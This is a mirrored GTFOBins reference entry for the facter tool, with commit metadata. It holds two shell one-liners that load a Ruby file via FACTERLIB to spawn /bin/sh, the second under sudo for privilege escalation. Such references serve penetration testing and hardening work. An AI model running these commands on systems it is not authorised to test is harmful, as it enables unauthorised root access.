1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 05:18:13 +02:00
GTFOBins.github.io/_gtfobins/facter.md
Andrea Cardaci aab8e783ec Add facter
Thanks to #20.
2018-09-04 13:42:37 +02:00

284 B

functions
execute-interactive sudo-enabled
code
TF=$(mktemp -d) echo 'exec("/bin/sh")' > $TF/x.rb FACTERLIB=$TF facter
code
TF=$(mktemp -d) echo 'exec("/bin/sh")' > $TF/x.rb FACTERLIB=$TF sudo -E facter